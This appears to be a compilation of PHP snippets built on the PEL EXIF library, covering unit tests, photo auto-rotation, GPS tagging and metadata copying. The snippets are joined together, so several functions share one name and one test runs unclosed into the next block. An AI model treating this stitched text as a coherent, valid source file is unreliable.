function testThisDoesNotWorkAsExpected()
{
$subject = "Превед, медвед!";
$data = new PelDataWindow(file_get_contents($this->file));
if (PelJpeg::isValid($data)) {
$jpeg = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if (null == $exif) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
}
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
if (null == $ifd0) {
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
}
$ifd0->addEntry(new PelEntryWindowsString(PelTag::XP_SUBJECT, $subject));
file_put_contents($this->file, $jpeg->getBytes());
$jpeg = new PelJpeg($this->file);
$exif = $jpeg->getExif();
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
$written_subject = $ifd0->getEntry(PelTag::XP_SUBJECT);
$this->assertEqual($subject, $written_subject->getValue());
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/no-exif.jpg');
$exif = $jpeg->getExif();
$this->assertNull($exif);
$this->assertTrue(count(Pel::getExceptions()) == 0);
}
static function rotate_item($item)
{
require_once MODPATH . 'autorotate/lib/pel/PelDataWindow.php';
require_once MODPATH . 'autorotate/lib/pel/PelJpeg.php';
require_once MODPATH . 'autorotate/lib/pel/PelTiff.php';
// Only try to rotate photos based on EXIF
if ($item->is_photo() && $item->mime_type == "image/jpeg") {
require_once MODPATH . "exif/lib/exif.php";
$exif_raw = read_exif_data_raw($item->file_path(), false);
if (isset($exif_raw['ValidEXIFData'])) {
$orientation = $exif_raw["IFD0"]["Orientation"];
$degrees = 0;
if ($orientation == '3: Upside-down') {
$degrees = 180;
} else {
if ($orientation == '8: 90 deg CW') {
$degrees = -90;
} else {
if ($orientation == '6: 90 deg CCW') {
$degrees = 90;
}
}
}
if ($degrees) {
$tmpfile = tempnam(TMPPATH, "rotate");
gallery_graphics::rotate($item->file_path(), $tmpfile, array("degrees" => $degrees));
// Update EXIF info
$data = new PelDataWindow(file_get_contents($tmpfile));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif !== null) {
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
$orientation = $ifd0->getEntry(PelTag::ORIENTATION);
$orientation->setValue(1);
file_put_contents($tmpfile, $file->getBytes());
}
}
$item->set_data_file($tmpfile);
$item->save();
unlink($tmpfile);
}
}
}
return;
}
function testThisDoesNotWorkAsExpected()
{
$tmpfile = dirname(__FILE__) . '/images/bug1730993_tmp.jpg';
$bigfile = dirname(__FILE__) . '/images/bug1730993_large.jpg';
try {
$jpeg = new PelJpeg($tmpfile);
// the error occurs here
$exif = $jpeg->getExif();
if ($exif != null) {
$jpeg1 = new PelJpeg($bigfile);
$jpeg1->setExif($exif);
file_put_contents($bigfile, $jpeg1->getBytes());
}
} catch (Exception $e) {
$this->fail('Test should not throw an exception');
}
}
function testThisDoesNotWorkAsExpected()
{
$filename = dirname(__FILE__) . '/images/bug3017880.jpg';
try {
$exif = null;
$success = 1;
// return true by default, as this function may not resave the file, but it's still success
$resave_file = 0;
$jpeg = new PelJpeg($filename);
// should all exif data on photo be cleared (gd and iu will always strip it anyway, so only
// force strip if you know the image you're branding is an original)
//$jpeg->clearExif();
if ($exif === null) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
}
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
$software_name = 'Example V2';
$software = $ifd0->getEntry(PelTag::SOFTWARE);
if ($software == null) {
$software = new PelEntryAscii(PelTag::SOFTWARE, $software_name);
$ifd0->addEntry($software);
$resave_file = 1;
echo 'null';
} else {
$software->setValue($software_name);
$resave_file = 1;
echo 'update';
}
if ($resave_file == 1 && !file_put_contents($filename, $jpeg->getBytes())) {
// if it was okay to resave the file, but it did not save correctly
$success = 0;
}
} catch (Exception $e) {
$this->fail('Test should not throw an exception');
}
}
function testThisDoesNotWorkAsExpected()
{
$scale = 0.75;
$input_jpeg = new PelJpeg($this->file);
$original = ImageCreateFromString($input_jpeg->getBytes());
$original_w = ImagesX($original);
$original_h = ImagesY($original);
$scaled_w = $original_w * $scale;
$scaled_h = $original_h * $scale;
$scaled = ImageCreateTrueColor($scaled_w, $scaled_h);
ImageCopyResampled($scaled, $original, 0, 0, 0, 0, $scaled_w, $scaled_h, $original_w, $original_h);
$output_jpeg = new PelJpeg($scaled);
$exif = $input_jpeg->getExif();
if ($exif != null) {
$output_jpeg->setExif($exif);
}
file_put_contents($this->file, $output_jpeg->getBytes());
$jpeg = new PelJpeg($this->file);
$exifin = $jpeg->getExif();
$this->assertEqual($exif, $exifin);
}
function testWriteRead()
{
Pel::setStrictParsing(true);
$ifd = new PelIfd(PelIfd::IFD0);
$this->assertTrue($ifd->isLastIfd());
foreach ($this->entries as $entry) {
$ifd->addEntry($entry);
}
$tiff = new PelTiff();
$this->assertNull($tiff->getIfd());
$tiff->setIfd($ifd);
$this->assertNotNull($tiff->getIfd());
$exif = new PelExif();
$this->assertNull($exif->getTiff());
$exif->setTiff($tiff);
$this->assertNotNull($exif->getTiff());
$jpeg = new PelJpeg(dirname(__FILE__) . '/no-exif.jpg');
$this->assertNull($jpeg->getExif());
$jpeg->setExif($exif);
$this->assertNotNull($jpeg->getExif());
$jpeg->saveFile('test-output.jpg');
$this->assertTrue(file_exists('test-output.jpg'));
$this->assertTrue(filesize('test-output.jpg') > 0);
/* Now read the file and see if the entries are still there. */
$jpeg = new PelJpeg('test-output.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
$ifd = $tiff->getIfd();
$this->assertIsA($ifd, 'PelIfd');
$this->assertEqual($ifd->getType(), PelIfd::IFD0);
$this->assertTrue($ifd->isLastIfd());
foreach ($this->entries as $entry) {
$this->assertEqual($ifd->getEntry($entry->getTag())->getValue(), $entry->getValue());
}
unlink('test-output.jpg');
}
function addGPSdata($infile, $outfile, $GPS_lat, $GPS_lon, $GPS_alt)
{
try {
$image = new PelJpeg($infile);
} catch (Exception $exc) {
return -1;
}
if ($image instanceof PelJpeg) {
if ($image->isValid(new PelDataWindow($image->getBytes()))) {
$exif = $image->getExif();
if ($exif == null) {
$exif = new PelExif();
$image->setExif($exif);
$exif->setTiff(new PelTiff());
}
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
$ifd0 = new PelIFD(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
/* Tags erzeugen */
$subifd = new PelIfd(PelIfd::GPS);
$GPS_latref = $GPS_lat < 0 ? "S" : "N";
$GPS_lonref = $GPS_lon < 0 ? "W" : "E";
$GPS_altref = $GPS_alt < 0 ? 1 : 0;
list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lat));
$gpslat = new PelEntryRational(PelTag::GPS_LATITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lon));
$gpslon = new PelEntryRational(PelTag::GPS_LONGITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
echo $GPS_alt * 1000;
$gpsalt = new PelEntryRational(PelTag::GPS_ALTITUDE, array(abs($GPS_alt * 1000), 1000));
$gpslatref = new PelEntryAscii(PelTag::GPS_LATITUDE_REF, $GPS_latref);
$gpslonref = new PelEntryAscii(PelTag::GPS_LONGITUDE_REF, $GPS_lonref);
$gpsaltref = new PelEntryByte(PelTag::GPS_ALTITUDE_REF, $GPS_altref);
$gpsversion = new PelEntryByte(PelTag::GPS_VERSION_ID, 2, 2, 0, 0);
/* Daten eintragen.*/
$subifd->addEntry($gpsversion);
$subifd->addEntry($gpslat);
$subifd->addEntry($gpslon);
$subifd->addEntry($gpsalt);
$subifd->addEntry($gpslatref);
$subifd->addEntry($gpslonref);
$subifd->addEntry($gpsaltref);
$ifd0->addSubIfd($subifd);
file_put_contents($outfile, $image->getBytes());
return 0;
}
}
return -1;
}
/**
* Updates the description of an image with the given data
*
* @param $id The internal id of the image
* @param $title The title of the image
* @param $description The description of the image
* @param $category The category of the image
* @param $tags An array of tags of the image
*/
public function updateDescription($filename, $id, $title, $description, $category, $tags)
{
$data = new PelDataWindow(file_get_contents($filename));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
$tiff->load($data);
} else {
return 0;
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
$desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
$description = json_encode(array('id' => $id, 'Title' => $title, 'Description' => $description, 'Category' => $category, 'Tags' => implode(',', $tags)));
if ($desc == null) {
$desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
$ifd0->addEntry($desc);
} else {
$desc->setValue($description);
}
$file->saveFile($filename);
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c5050z.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 11);
$entry = $ifd0->getEntry(270);
// ImageDescription
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA ');
$this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA ');
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS OPTICAL CO.,LTD');
$this->assertEqual($entry->getText(), 'OLYMPUS OPTICAL CO.,LTD');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'C5050Z');
$this->assertEqual($entry->getText(), 'C5050Z');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'top - left');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(305);
// Software
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'v558-83');
$this->assertEqual($entry->getText(), 'v558-83');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), false);
$this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
$entry = $ifd0->getEntry(50341);
// PrintIM
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'PrintIM0250�
�
����������� \' \'�\'�\' \'^\'�\'�\'�\'');
$this->assertEqual($entry->getText(), '(undefined)');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 32);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 10, 1 => 40));
$this->assertEqual($entry->getText(), '1/4 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 26, 1 => 10));
$this->assertEqual($entry->getText(), 'f/2.6');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Normal program');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 64);
$this->assertEqual($entry->getText(), '64');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), false);
$this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), false);
$this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
$this->assertEqual($entry->getText(), '2/1');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 28, 1 => 10));
$this->assertEqual($entry->getText(), '28/10');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Unknown');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 16);
$this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 213, 1 => 10));
$this->assertEqual($entry->getText(), '21.3 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'OLYMP�����4 B�bdd�d
8ISX558[pictureInfo] Resolution=1 [Camera Info] Type=SX558OLYMPUS DIGITAL CAMERA���������1��H���UU �1������J @ gg�I˦��������������������a1v?�Y�0 �
��n��r�[ R 2
H�dx
2B@d* ');
$this->assertEqual($entry->getText(), '600 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41729);
// SceneType
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Directly photographed');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Manual white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
$this->assertEqual($entry->getText(), '0/100');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Standard');
$entry = $ifd0_0->getEntry(41991);
// GainControl
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41992);
// Contrast
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41993);
// Saturation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41994);
// Sharpness
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 2);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c5050z-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
/**
* Copy the source image's EXIF information to the new file in the cache
*
* @since 2.0
* @uses PEL
* @param string $cacheFilePath
* @return mixed string contents of image on success, false on failure
*/
private function copyEXIF($cacheFilePath)
{
// Make sure to suppress strict warning thrown by PEL
require_once dirname(__FILE__) . '/../pel/src/PelJpeg.php';
$jpeg = new PelJpeg($this->getSource()->getFullPath());
$exif = $jpeg->getExif();
if ($exif !== null) {
$jpeg = new PelJpeg($cacheFilePath);
$jpeg->setExif($exif);
$imageData = $jpeg->getBytes();
if (!file_put_contents($cacheFilePath, $imageData)) {
return false;
}
return $imageData;
}
// if
return file_get_contents($cacheFilePath);
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c50z.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 11);
$entry = $ifd0->getEntry(270);
// ImageDescription
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA ');
$this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA ');
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS OPTICAL CO.,LTD');
$this->assertEqual($entry->getText(), 'OLYMPUS OPTICAL CO.,LTD');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'X-2,C-50Z ');
$this->assertEqual($entry->getText(), 'X-2,C-50Z ');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'top - left');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 144, 1 => 1));
$this->assertEqual($entry->getText(), '144/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 144, 1 => 1));
$this->assertEqual($entry->getText(), '144/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(305);
// Software
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), '28-1012 ');
$this->assertEqual($entry->getText(), '28-1012 ');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), false);
$this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
$entry = $ifd0->getEntry(50341);
// PrintIM
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'PrintIM0250ˆ
Ð
èÿ€€€€€€€€€ \' \'—\'°\' \'^\'‹\'Ë\'å\'');
$this->assertEqual($entry->getText(), '(undefined)');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 30);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 1, 1 => 80));
$this->assertEqual($entry->getText(), '1/80 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 45, 1 => 10));
$this->assertEqual($entry->getText(), 'f/4.5');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Creative program (biased toward depth of field)');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 80);
$this->assertEqual($entry->getText(), '80');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), false);
$this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), false);
$this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 300, 1 => 100));
$this->assertEqual($entry->getText(), '300/100');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Unknown');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 25);
$this->assertEqual($entry->getText(), 'Flash fired, auto mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 1883, 1 => 100));
$this->assertEqual($entry->getText(), '18.8 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'OLYMP>$8@HT Z
|
„
Œ
”
¤
¸
QQ 6Hpp@&@ Ü è¸ !°\'" n#
$6%
(&\'(d)*+T,
-.
/€01t3Ð 8;!¾<¾=
ä>
ì');
$this->assertEqual($entry->getText(), '758 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryShort');
